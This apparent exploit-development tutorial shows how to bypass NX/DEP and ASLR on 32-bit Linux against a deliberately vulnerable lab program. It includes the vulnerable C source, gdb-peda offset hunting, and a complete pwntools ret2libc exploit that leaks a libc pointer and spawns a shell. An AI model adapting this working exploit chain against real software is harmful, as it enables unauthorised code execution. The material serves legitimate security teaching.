Bypassing DEP & ASLR in Linux

In this article, we’re going to be looking at a method of bypassing non-executable stack protection (NX/DEP) and Address Space Layout Randomisation on 32-bit Linux.

Below is the sample application we will be exploiting:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void check_password() {
    char password[32];

    puts("Password:");
    fgets(password, 200, stdin);

    if(strcmp(password, "bordergate\n") == 0) {
        puts("pass\n");
    }
    else {
        puts("fail\n");
    }
}

int main(int argc, char **argv) {
    check_password();
    return 0;
}


Compile the code with:

gcc -no-pie -mpreferred-stack-boundary=2 -fno-stack-protector code.c -o ret2lab

Running the program in our debugging environment (gdb-peda) we can see the program encounters a segmentation fault if more than 500 characters are entered:

user@ubuntu:~/Ret2LibC$ python -c "print 'A'*500" > fuzz.txt
user@ubuntu:~/Ret2LibC$ gdb ./ret2lab 
GNU gdb (Ubuntu 7.11.1-0ubuntu1~16.5) 7.11.1
Copyright (C) 2016 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "i686-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from ./ret2lab...(no debugging symbols found)...done.
gdb-peda$ run < fuzz.txt 
Starting program: /home/user/Ret2LibC/ret2lab < fuzz.txt
Password:
fail


Program received signal SIGSEGV, Segmentation fault.

[----------------------------------registers-----------------------------------]
EAX: 0x6 
EBX: 0x0 
ECX: 0xffffffff 
EDX: 0xb7fcc870 --> 0x0 
ESI: 0xb7fcb000 --> 0x1b1db0 
EDI: 0xb7fcb000 --> 0x1b1db0 
EBP: 0x41414141 ('AAAA')
ESP: 0xbffff5f8 ('A' <repeats 159 times>)
EIP: 0x41414141 ('AAAA')
EFLAGS: 0x10292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x41414141
[------------------------------------stack-------------------------------------]
0000| 0xbffff5f8 ('A' <repeats 159 times>)
0004| 0xbffff5fc ('A' <repeats 155 times>)
0008| 0xbffff600 ('A' <repeats 151 times>)
0012| 0xbffff604 ('A' <repeats 147 times>)
0016| 0xbffff608 ('A' <repeats 143 times>)
0020| 0xbffff60c ('A' <repeats 139 times>)
0024| 0xbffff610 ('A' <repeats 135 times>)
0028| 0xbffff614 ('A' <repeats 131 times>)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x41414141 in ?? ()

We can see the instruction pointer (EIP) has been overwritten with the “A” characters we generated.

Checking the memory protection mechanisms enabled on the binary shows that NX is active. Because of this, we will be unable to inject shellcode onto the stack.

gdb-peda$ checksec 
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : Partial

With GDB-Peda, we can locate the offset required to overwrite the instruction pointer:

gdb-peda$ pattern create 500 pattern.txt
Writing pattern of 500 chars to filename "pattern.txt"
gdb-peda$ run < pattern.txt 
Starting program: /home/user/Ret2LibC/ret2lab < pattern.txt
Password:
fail


Program received signal SIGSEGV, Segmentation fault.

[----------------------------------registers-----------------------------------]
EAX: 0x6 
EBX: 0x0 
ECX: 0xffffffff 
EDX: 0xb7fcc870 --> 0x0 
ESI: 0xb7fcb000 --> 0x1b1db0 
EDI: 0xb7fcb000 --> 0x1b1db0 
EBP: 0x41412941 ('A)AA')
ESP: 0xbffff5f8 ("AA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAy")
EIP: 0x61414145 ('EAAa')
EFLAGS: 0x10292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x61414145
[------------------------------------stack-------------------------------------]
0000| 0xbffff5f8 ("AA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAy")
0004| 0xbffff5fc ("AFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAy")
0008| 0xbffff600 ("bAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAy")
0012| 0xbffff604 ("AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAy")
0016| 0xbffff608 ("AcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAy")
0020| 0xbffff60c ("2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAy")
0024| 0xbffff610 ("AAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAy")
0028| 0xbffff614 ("A3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAy")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x61414145 in ?? ()
gdb-peda$ pattern search 
Registers contain pattern buffer:
ECX+52 found at offset: 69
EIP+0 found at offset: 36
EBP+0 found at offset: 32
Registers point to pattern buffer:
[ESP] --> offset 40 - size ~159
Pattern buffer found at:
0x0804b410 : offset    0 - size  500 ([heap])
0xbffff5d0 : offset    0 - size  199 ($sp + -0x28 [-10 dwords])
References to pattern buffer found at:
0xb7fcb5ac : 0x0804b410 (/lib/i386-linux-gnu/libc-2.23.so)
0xb7fcb5b0 : 0x0804b410 (/lib/i386-linux-gnu/libc-2.23.so)
0xb7fcb5b4 : 0x0804b410 (/lib/i386-linux-gnu/libc-2.23.so)
0xb7fcb5b8 : 0x0804b410 (/lib/i386-linux-gnu/libc-2.23.so)
0xb7fcb5bc : 0x0804b410 (/lib/i386-linux-gnu/libc-2.23.so)
0xbffff3b8 : 0x0804b410 ($sp + -0x240 [-144 dwords])
0xbffff474 : 0x0804b410 ($sp + -0x184 [-97 dwords])

We now know the instruction pointer (EIP) can be overwritten after 36 bytes. Let’s verify that using a Python script:

#!/usr/bin/python

buf = ""
buf += "A"*36
buf += "BBBB"

print buf

python exploit.py > out.txt
gdb-peda$ run < out.txt 
Starting program: /home/user/Ret2LibC/ret2lab < out.txt
Password:
fail


Program received signal SIGSEGV, Segmentation fault.

[----------------------------------registers-----------------------------------]
EAX: 0x6 
EBX: 0x0 
ECX: 0xffffffff 
EDX: 0xb7fcc870 --> 0x0 
ESI: 0xb7fcb000 --> 0x1b1db0 
EDI: 0xb7fcb000 --> 0x1b1db0 
EBP: 0x41414141 ('AAAA')
ESP: 0xbffff5f8 --> 0xa ('\n')
EIP: 0x42424242 ('BBBB')
EFLAGS: 0x10292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x42424242
[------------------------------------stack-------------------------------------]
0000| 0xbffff5f8 --> 0xa ('\n')
0004| 0xbffff5fc --> 0xb7e31637 (<__libc_start_main+247>:	add    esp,0x10)
0008| 0xbffff600 --> 0x1 
0012| 0xbffff604 --> 0xbffff694 --> 0xbffff7cc ("/home/user/Ret2LibC/ret2lab")
0016| 0xbffff608 --> 0xbffff69c --> 0xbffff7e8 ("XDG_SESSION_ID=27")
0020| 0xbffff60c --> 0x0 
0024| 0xbffff610 --> 0x0 
0028| 0xbffff614 --> 0x0 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x42424242 in ?? ()


The EIP register has been overwritten with out “B” characters, which is represented in hex as 0x42.

Since DEP is enabled on the executable, we won’t be able to inject arbitrary code onto the stack. The solution to this is return orientated programming (ROP). Essentially we can execute instructions which already exist within the application.

However, Address Space Layout Randomization (ASLR) will hamper this effort since memory addresses will be randomized each time the application starts.

So first, we’re going to need to attempt to leak a pointer to an existing function. By leaking a pointer, we should able able to determine the current random base pointer address. Below illustrates how the memory addresses are being randomized each time the application starts:

user@ubuntu:~/Ret2LibC$ ldd ./ret2lab | grep libc
	libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb752b000)
user@ubuntu:~/Ret2LibC$ ldd ./ret2lab | grep libc
	libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7537000)
user@ubuntu:~/Ret2LibC$ ldd ./ret2lab | grep libc
	libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb759b000)
user@ubuntu:~/Ret2LibC$ ldd ./ret2lab | grep libc
	libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb75db000)

Stage 1: Pointer Leakage

To leak a pointer, we need to know three things;

  • The address of the puts function procedure linkage table (PLT) value.
  • A pointer to the programs main function. This is needed since if the application terminates the ASLR base address will be randomised again.
  • The puts function address in the Global Offset Table (GOT)

We can get these values one and two using GDB:

gdb-peda$ p main
$1 = {<text variable, no debug info>} 0x80484f9 <main>
gdb-peda$ p 'puts@plt'
$2 = {<text variable, no debug info>} 0x8048370 <puts@plt>

To get the GOT address, run the application in GDB and ctrl+c to terminate it’s execution. This is required since the GOT address will only be resolved when the PLT stub has first ran.

gdb-peda$ disassemble check_password 
Dump of assembler code for function check_password:
   0x0804849b <+0>:	push   ebp
   0x0804849c <+1>:	mov    ebp,esp
   0x0804849e <+3>:	sub    esp,0x20
   0x080484a1 <+6>:	push   0x8048590
   0x080484a6 <+11>:	call   0x8048370 <puts@plt>
   0x080484ab <+16>:	add    esp,0x4
   0x080484ae <+19>:	mov    eax,ds:0x804a040
   0x080484b3 <+24>:	push   eax
   0x080484b4 <+25>:	push   0xc8
   0x080484b9 <+30>:	lea    eax,[ebp-0x20]
   0x080484bc <+33>:	push   eax
   0x080484bd <+34>:	call   0x8048360 <fgets@plt>
   0x080484c2 <+39>:	add    esp,0xc
   0x080484c5 <+42>:	push   0x804859a
   0x080484ca <+47>:	lea    eax,[ebp-0x20]
   0x080484cd <+50>:	push   eax
   0x080484ce <+51>:	call   0x8048350 <strcmp@plt>
   0x080484d3 <+56>:	add    esp,0x8
   0x080484d6 <+59>:	test   eax,eax
   0x080484d8 <+61>:	jne    0x80484e9 <check_password+78>
   0x080484da <+63>:	push   0x80485a6
   0x080484df <+68>:	call   0x8048370 <puts@plt>
   0x080484e4 <+73>:	add    esp,0x4
   0x080484e7 <+76>:	jmp    0x80484f6 <check_password+91>
   0x080484e9 <+78>:	push   0x80485ac
   0x080484ee <+83>:	call   0x8048370 <puts@plt>
   0x080484f3 <+88>:	add    esp,0x4
   0x080484f6 <+91>:	nop
   0x080484f7 <+92>:	leave  
   0x080484f8 <+93>:	ret    
End of assembler dump.
gdb-peda$ disassemble 0x8048370
Dump of assembler code for function puts@plt:
   0x08048370 <+0>:	jmp    DWORD PTR ds:0x804a014
   0x08048376 <+6>:	push   0x10
   0x0804837b <+11>:	jmp    0x8048340
End of assembler dump.
gdb-peda$ info symbol 0x804a014
_GLOBAL_OFFSET_TABLE_ + 20 in section .got.plt of /home/user/Ret2LibC/ret2lab

The below Python code implements stage 1 of the attack. The EIP register will be overwritten with the puts@PLT pointer. The other values will be read from the stack as arguments to this function. Main acts as the functions return address. The puts@GOT pointer will be read from memory. This resides within the libc library.

#!/usr/bin/python
from pwn import *

r = process("./ret2lab")
context.log_level = 'DEBUG'
libc = ELF("/lib/i386-linux-gnu/libc.so.6")
elf = ELF('./ret2lab')

#First stage - pointer leakage
puts_plt = 0x8048370
puts_got = 0x804a014
main     = 0x80484f9
payload  = ""
payload += "A"*36
payload += p32(puts_plt)         
payload += p32(main)             
payload += p32(puts_got)         

r.recvuntil('Password:\n')       
r.sendline(payload)              
r.recvuntil('fail')

addr_puts = u32(r.recv()[2:6])
log.info('puts@libc is at: {}'.format(hex(addr_puts)))

Running the code shows the puts@glibc address as 0xb75aeca0. This value will change each time the application is restarted.

[!] Pwntools does not support 32-bit Python.  Use a 64-bit release.
[+] Starting local process './ret2lab': pid 734
[DEBUG] PLT 0x176b0 _Unwind_Find_FDE
[DEBUG] PLT 0x176c0 realloc
[DEBUG] PLT 0x176e0 memalign
[DEBUG] PLT 0x17710 _dl_find_dso_for_object
[DEBUG] PLT 0x17720 calloc
[DEBUG] PLT 0x17730 ___tls_get_addr
[DEBUG] PLT 0x17740 malloc
[DEBUG] PLT 0x17748 free
[*] '/lib/i386-linux-gnu/libc.so.6'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[DEBUG] PLT 0x8048350 strcmp
[DEBUG] PLT 0x8048360 fgets
[DEBUG] PLT 0x8048370 puts
[DEBUG] PLT 0x8048380 __libc_start_main
[DEBUG] PLT 0x8048390 __gmon_start__
[*] '/home/user/Ret2LibC/ret2lab'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
[DEBUG] Received 0xa bytes:
    'Password:\n'
[DEBUG] Sent 0x31 bytes:
    00000000  41 41 41 41  41 41 41 41  41 41 41 41  41 41 41 41  │AAAA│AAAA│AAAA│AAAA│
    *
    00000020  41 41 41 41  70 83 04 08  f9 84 04 08  14 a0 04 08  │AAAA│p···│····│····│
    00000030  0a                                                  │·│
    00000031
[DEBUG] Received 0x19 bytes:
    00000000  66 61 69 6c  0a 0a a0 ec  5a b7 40 75  56 b7 0a 50  │fail│····│Z·@u│V··P│
    00000010  61 73 73 77  6f 72 64 3a  0a                        │assw│ord:│·│
    00000019
[*] puts@libc is at: 0xb75aeca0
[*] Stopped process './ret2lab' (pid 734)


Stage 2: Return2Libc ROP Chain

We can determine the base address of LibC by subtracting 0005fca0 from the leaked puts pointer:

readelf -s /lib/i386-linux-gnu/libc.so.6 | grep puts@@
   205: 0005fca0   464 FUNC    GLOBAL DEFAULT   13 _IO_puts@@GLIBC_2.0
   434: 0005fca0   464 FUNC    WEAK   DEFAULT   13 puts@@GLIBC_2.0

Knowing the randomised base address, we can then call the system function with the parameter of “/bin/sh”.

The final exploit looks like this:

#!/usr/bin/python
from pwn import *

r = process("./ret2lab")
context.log_level = 'DEBUG'
libc = ELF("/lib/i386-linux-gnu/libc.so.6")
elf = ELF('./ret2lab')

#First stage - pointer leakage
puts_plt = 0x8048370
puts_got = 0x804a014
main     = 0x80484f9
payload  = ""
payload += "A"*36
payload += p32(puts_plt)         
payload += p32(main)             
payload += p32(puts_got)         

r.recvuntil('Password:\n')       
r.sendline(payload)              
r.recvuntil('fail')

addr_puts = u32(r.recv()[2:6])
log.info('puts@libc is at: {}'.format(hex(addr_puts)))

libc_base = addr_puts - 0x5fca0

log.info('pwntools puts: {}'.format(hex(libc.symbols["puts"])))
log.info('libc base address is at: {}'.format(hex(libc_base)))

#Second stage - return to libc
libc_system =  p32(libc_base + libc.symbols["system"])
log.info('system address is at: {}'.format(libc_system))

libc_exit   =  p32(libc_base + libc.symbols["exit"])
log.info('exit address is at: {}'.format(libc_exit))

libc_binsh  =  p32(libc_base + libc.search("/bin/sh").next())
log.info('binsh address is at: {}'.format(libc_binsh))

payload = ""
payload += "A"*36
payload += libc_system
payload += libc_exit
payload += libc_binsh

r.sendline(payload)
r.interactive()

Running the exploit to show command execution:

user@ubuntu:~/Ret2LibC$ python exploit.py 
[!] Pwntools does not support 32-bit Python.  Use a 64-bit release.
[+] Starting local process './ret2lab': pid 767
[DEBUG] PLT 0x176b0 _Unwind_Find_FDE
[DEBUG] PLT 0x176c0 realloc
[DEBUG] PLT 0x176e0 memalign
[DEBUG] PLT 0x17710 _dl_find_dso_for_object
[DEBUG] PLT 0x17720 calloc
[DEBUG] PLT 0x17730 ___tls_get_addr
[DEBUG] PLT 0x17740 malloc
[DEBUG] PLT 0x17748 free
[*] '/lib/i386-linux-gnu/libc.so.6'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[DEBUG] PLT 0x8048350 strcmp
[DEBUG] PLT 0x8048360 fgets
[DEBUG] PLT 0x8048370 puts
[DEBUG] PLT 0x8048380 __libc_start_main
[DEBUG] PLT 0x8048390 __gmon_start__
[*] '/home/user/Ret2LibC/ret2lab'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
[DEBUG] Received 0xa bytes:
    'Password:\n'
[DEBUG] Sent 0x31 bytes:
    00000000  41 41 41 41  41 41 41 41  41 41 41 41  41 41 41 41  │AAAA│AAAA│AAAA│AAAA│
    *
    00000020  41 41 41 41  70 83 04 08  f9 84 04 08  14 a0 04 08  │AAAA│p···│····│····│
    00000030  0a                                                  │·│
    00000031
[DEBUG] Received 0x19 bytes:
    00000000  66 61 69 6c  0a 0a a0 6c  63 b7 40 f5  5e b7 0a 50  │fail│···l│c·@·│^··P│
    00000010  61 73 73 77  6f 72 64 3a  0a                        │assw│ord:│·│
    00000019
[*] puts@libc is at: 0xb7636ca0
[*] pwntools puts: 0x5fca0
[*] libc base address is at: 0xb75d7000
[*] system address is at: \xa0\x1da\xb7
[*] exit address is at: �Y`\xb7
[*] binsh address is at: \x0b*s\xb7
[DEBUG] Sent 0x31 bytes:
    00000000  41 41 41 41  41 41 41 41  41 41 41 41  41 41 41 41  │AAAA│AAAA│AAAA│AAAA│
    *
    00000020  41 41 41 41  a0 1d 61 b7  d0 59 60 b7  0b 2a 73 b7  │AAAA│··a·│·Y`·│·*s·│
    00000030  0a                                                  │·│
    00000031
[*] Switching to interactive mode
[DEBUG] Received 0x6 bytes:
    'fail\n'
    '\n'
fail

$ id
[DEBUG] Sent 0x3 bytes:
    'id\n'
[DEBUG] Received 0x84 bytes:
    'uid=1000(user) gid=1000(user) groups=1000(user),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd),115(lpadmin),116(sambashare)\n'
uid=1000(user) gid=1000(user) groups=1000(user),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd),115(lpadmin),116(sambashare)
$